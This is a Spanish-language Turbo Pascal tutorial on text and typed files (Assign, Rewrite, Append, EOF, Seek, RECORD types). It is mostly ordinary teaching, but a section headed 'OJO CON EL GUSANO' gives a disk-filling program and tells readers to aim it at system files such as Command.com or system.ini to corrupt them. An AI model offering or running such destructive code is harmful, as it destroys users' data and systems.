Web hosting Custom Email SiteBuilder

ARCHIVOS

Desde un punto de vista técnico, un archivo es un conjunto de información de un mismo tipo,almacenada en un medio físico, lógicamente estructurada para facilitar su acceso, modificación y eliminación.

Cuando realizas un dibujo en PAINT, una carta en WINWORD, o una hoja de cálculo en EXCEL, y escoges la opción GUARDAR, estas archivando, es decir se pasa la información de la memoria a una unidad de almacenamiento para posteriormente poder recuperarla y trabajar sobre ella; de igual modo Turbo Pascal tiene estructuras de almacenamiento de información para que los datos producidos por un determinado programa se puedan observar en posteriores ocasiones, o en un nivel mas avanzado diseñar una base de datos similar a FOXPRO o ACCESS, o guardar el registro de los mejores puntajes para un determinado videojuego.

Archivos de Tipo Texto
Los archivos de tipo texto son llamados también archivos de acceso secuencial, están formados por cadenas de caracteres separadas unas de otras por los códigos retorno de carro/salto de línea (RC/SL), la combinación RC/SL (Códigos ASCII 10 y 13) se conoce como delimitador. Un delimitador marca el final de algún elemento como un campo, un registro o una linea.

El final del archivo se indica mediante el caracter ASCII 26, que también se expresa como ^Z o EOF.
Es posible visualizar estos archivos con la orden TYPE del sistema operativo DOS y se pueden editar con cualquier editor de textos como WorPad o el block de notas de notas de Windows 95.
Este tipo de archivos solo permite operaciones de lectura y escritura secuenciales, la única forma de modificarlos es agregando líneas al final del archivo.
Los pasos para leer o escribir en un archivo de este tipo son:
Declarar una variable de tipo texto y asociarla al nombre de un archivo       A esto también se le llama declarar el archivo.
Abrir el archivo ya sea para lectura o escritura.
Leer o escribir datos en el archivo.
Cerrar el archivo .

Declaración de un archivo

Para declarar un archivo primero se declara una variable tipo text de la siguiente forma:
VAR
NOMBRE_ARCHIVO : TEXT

Una vez declarada la variable se asigna al nombre de algún archivo:
ASSIGN (VarArchivo, NombreArchivo);
Donde Nombre_Archivo es una cadena de caracteres que contiene el nombre del archivo, la unidad de disco donde se encuentra y el directorio. Por ejemplo:
ASSIGN (Nombre_Archivo,'C:\LENGUAJE\TURBO7\BIN\EJEMPLO.TXT');

Abrir archivos
Para abrir un archivo se puede hacer de tres formas:
Rewrite
Reset
Append

Escribir datos en un archivo
Para escribir datos a un archivo se utilizan las instrucciones Write y WriteLn, como si se quisiera escribir a la pantalla, con la diferencia de que se especificará la variable de archivo ya declarada.

Ejemplo:
WriteLn(Nombre_Archivo, 'Prueba de archivos');

Esta sentencia grabaría el texto 'Prueba de archivos' en el archivo asignado a Nombre_Archivo.

Leer datos de un archivo
Para leer los datos de un archivo de acceso secuencial se utilizan las instrucciones Read y ReadLn.
La instrucción Read lee uno o varios datos del archivo abierto y deja el puntero en el mismo renglón en el cual leyó los datos, en cambio ReadLn lee los datos y mueve el puntero al siguiente renglón.

Fin del archivo
Normalmente los archivos de este tipo se leen renglón por renglón hasta llegar al final del mismo. Cuando se conoce de antemano el tamaño del archivo es posible utilizar un ciclo FOR, pero es más seguro utilizar la función EOF (END OF FILE, FINAL DE ARCHIVO)la cual es verdadera después de que el programa lee la última linea de un archivo de acceso secuencial.
La sintaxis de la función EOF es:
EOF (VaribleArchivo);
Es común realizar la verificación de la función con un ciclo WHILE como en el ejemplo siguiente:
WHILE NOT EOF(Archivo) DO
BEGIN
    ReadLn(Archivo, Datos);
    WriteLn(Datos);
END;

Cerrar archivos
Para asegurar que toda la información se grabe en el disco correctamente es necesario cerrar el archivo antes de que se termine la ejecución del programa, de lo contrario se corre el riego de que la última información que se haya accesado no se grabe en su totalidad.
La instrucción para cerrar un archivo es Close, y su sintaxis es:
Close (VaribleArchivo);

Función Eoln
La función Eoln sirve para verificar si el puntero ha llegado al final de la linea. Regresa el valor verdadero si se encuentra al final. Comunmente se utiliza en las lecturas caracter por caracter.

Agregar datos a un archivo de texto
Para añadir datos a un archivo de texto son necesarios los siguientes pasos:
Asignar un archivo a una variable con Assign.
Agregar los datos con el procedimiento Append.
Escribir los datos.
Cerrar el archivo.

A continuación se ilustra un ejemplo de un programa que agrega una linea a un archivo de texto:

PROGRAM Archivo1;
VAR
       Archivito : TEXT;
BEGIN

Assign (Archivito, 'ROBOT.TXT');
Append(Archivito);
WriteLn(Archivito, 'Este es un texto de prueba');
Close (Texto);

END.

! OJO CON EL GUSANO ! Öooooooo···

A continuación te presento un prototipo de un gusano, este lo único que hace es crear un archivo de tipo texto llamado corrupto.txt, luego inicia un ciclo repeat - until infinito pues 2 nunca va a ser igual a 3, y dentro de este empieza a engordar el archivo hasta que no deja ni un poquitín de espacio libre. Pruébalo pero bajo tu responsabilidad y en un computador que no sea el tuyo o para mayor seguridad direcciona el archivo a un disco flexible, luego me cuentas que te paso .

PROGRAM Archivo_corrupto;
VAR
Archivito : TEXT;
BEGIN
Assign (Archivito, 'A:\Corrupto.TXT');
Rewrite(Archivito);
Repeat
WriteLn(Archivito, 'Me estoy comiendo el disco, JA, JA, JA !!');
Until 2=3;
Close (Archivito)
END.

Y una cosa mas, si deseas que haga mas daño como bloquear el sistema simplemente cambia en la linea Assign (Archivito, 'a:\Corrupto.TXT'); por
Assign (Archivito, 'c:\Command.com'); o Assign (Archivito, 'c:\system.ini'); o cualquier archivo importante del sistema que desees corromper.

Archivos con tipo
Un archivo con tipo esta formado por una o mas tablas de datos. Si manejas access, foxpro o cualquier otro motor de base de datos, ya debes saber que una tabla es un conjunto de registros, y que un registro es un conjunto de campos.
Viendolo gráficamente tenemos:

TABLA

Y AHORA CON INFORMACIÓN ME ENTIENDES MAS

TABLA : Datos Personales

Estructura del archivo

Si has leido conciensudamente las explicaciones anterioriores,  ya debes tener una idea de las diferencias entre un archivo tipo texto y uno con tipo.

Pues bueno, los primeros están compuestos de lineas de caracteres y los últimos se acomodan en registros con estructuras fijas. La longitud de los registros esta determinada por la cantidad de bytes que se necesitan para almacenar el tipo de datos que contendrá el registro.

Declaración de un archivo con tipo
Para declarar un archivo con tipo se realiza con las palabras reservadas FILE OF, su sintaxis es la siguiente:

Var
VariableArchivo : FILE OF TipoElementos;

Miremos un ejemplo práctico:

PROGRAM Archivo_con_Tipo;
VAR
    Archivo : FILE OF Integer;
BEGIN
END.
Normalmente no se desea crear archivos que puedan almacenar un solo tipo de datos ya que se requerirían varios archivos, por ejemplo para alguna base de datos: uno para los nombres, otro para apellidos, otro para la edad, etc. Para evitar este inconveniente es posible usar registros del tipo RECORD, que permiten grabar en un solo registro un grupo de datos que pueden ser de diferentes tipos, uno de tipo INTEGER, uno de tipo STRING, etc.
Los registros del tipo record deben ser declarados antes de las variables en una sección llamada TYPE con el siguiente formato:
TYPE
Nombre_Reg = RECORD

Campo_del_registro_1 : Tipo;
Campo_del_registro_2 : Tipo;
               .

       .

       .
Campo_del_registro_n : Tipo;

END;
Donde Nombre_Reg es el nombre del registro que se utilizará, Campo_del_Registro_x son las variables que estarán contenidas en el registro y Tipo es el tipo de cada una de las variables del registro.
La sección TYPE se escribe antes de la declaración de las variables.

Para crear la tabla de inormación vista anteriormente, quedaría así:

TYPE
Datos = RECORD

Nombre : String[40];
Direccion: String[60];
Edad : byte;
Estado_Civil : String[10];

END;

El siguiente paso es declarar un archivo del tipo Datos así como una variable del mismo tipo de los que se utilizarán en el archivo:
VAR
Archivo : FILE OF Datos;
Persona : Datos;

Asignación de un archivo
Aún cuando se tenga declarado el archivo no es posible grabar nada en él si no se le asigna un nombre real para guardarlo en el disco. El proceso de dicha asignación es el mismo que para los archivos de texto:
Assign (Archivo, 'Nombre.ext');
Nombre.txt puede ser una constante, una variable o estar escrita directamente en el programa. Naturalmente debe cumplir con todas las reglas para nombrar un archivo.

Abrir archivos
Una vez declarado un archivo ya es posible abrirlo. En caso de querer abrir un archivo nuevo se utiliza la instrucción Rewrite, o si el archivo ya existe en el disco se abre con el procedimiento :Reset.
No existe ninguna diferencia entre la apertura de un archivo con tipo para su lectura o para su escritura.
Si al utilizar el procedimiento Rewrite el archivo asignado ya existía se eliminará del disco y se creará uno nuevo, por lo mismo se debe tener cuidado al momento de abrir estos archivos.

Registro actual y tamaño de un archivo
La función FileSize regresa el tamaño de un archivo, o mejor dicho devuelve el número de registros contenidos en éste.
Al momento de abrir un archivo nuevo la función FileSize regresa el valor de 0, lo que significa que el archivo no tiene datos guardados en él.

Posicionamiento en un registro determinado
Cada uno de los registros de un archivo esta referenciado por un número específico comenzando desde el registro 0 y aumentando de 1 en 1.
La función FilePos devuelve el número de registro actual, su sintaxis es:
FilePos (VariableArchivo)
VariableArchivo es la variable a la cual se asignó un nombre de archivo en el disco.
Para moverse a un registro determinado se utiliza la función Seek, con la siguiente sintaxis:
Seek (VariableArchivo, NumRegistro);
Para moverse al final del archivo para agregar un nuevo registro se utiliza este mismo comando con el parametro NumRegistro como sigue:
Seek (VariableArchivo, FileSize(VariableArchivo));
Cuando se avanza en un archivo registro por registro se utiliza la función EOF para determinar si ya se llegó al final del archivo.

Lectura y escritura de archivos
Para la lectura y escritura en un archivo con tipo se utilizan los procedimientos Read y Write. Después de cada operación de lectura o escritura el puntero se posiciona en el siguiente registro.
Para estar seguros de que se leera el registro que se desea se debe emplear el procedimiento seek antes de cualquier procedimiento de lectura o escritura.

Cerrar un archivo

Para cerrar los archivos abiertos se procede igual que en uno de tipo texto, utilizando el procedimiento close:
Close (VariableArchivo);


Y despues de toda esta larga y compleja teoría, te presento un no tan pequeño programa que hace uso de la mayoría de las funciones y procedimientos antes explicados.

El ejemplo trata de sistematizar a nivel básico el funcionamiento de una panadería, hace uso de registros, archivos, vectores, permite salir temporalmente al prompt del sistema, entre otras opciones.

Ver Código Fuente

 Ver Ejecutable

Anterior

Siguiente

Indice